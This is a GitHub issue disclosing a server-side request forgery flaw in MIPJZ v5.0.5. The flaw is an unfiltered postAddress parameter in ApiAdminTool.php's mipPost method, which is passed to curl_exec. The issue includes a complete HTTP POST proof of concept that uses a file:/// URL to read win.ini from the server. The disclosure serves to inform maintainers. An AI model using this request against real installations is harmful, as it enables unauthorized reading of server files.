Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

MIPJZ v5.0.5 has an SSRF that can read server files #17

Open
LvZCh opened this issue Sep 19, 2024 · 0 comments
Open

MIPJZ v5.0.5 has an SSRF that can read server files #17

LvZCh opened this issue Sep 19, 2024 · 0 comments

Comments

@LvZCh
Copy link

LvZCh commented Sep 19, 2024

Vulnerability product: mipjz
Vulnerability version: 5.0.5
Source code link: https://github.com/sansanyun/mipjz/archive/refs/heads/master.zip
Vulnerability details:
In the mipPost method of the mipjz\app\setting\controller\ApiAdminTool.php file, the value of the postAddress parameter that was not processed was directly passed into curl_exec execution and output, resulting in SSRF that can read server files.
Vulnerability location:mipjz\app\setting\controller\ApiAdminTool.php#mipPost method
image
The value of postAddress is passed unfiltered to curl_exec, executed, and output.
image

Vulnerability reproduction:
Background administrator rights
POC:

POST /index.php?s=/setting/ApiAdminTool/mipPost HTTP/1.1
Host: mipjz.com:82
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://mipjz.com:82
Connection: close
Referer: http://mipjz.com:82/index.php?s=/setting/ApiAdminDomainSettings/urlPost
Cookie: PHPSESSID=84a79679dc650a2da1270dfa0aed683d
Upgrade-Insecure-Requests: 1
Priority: u=0, i

postAddress=file:///C:/windows/win.ini&urls=1

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant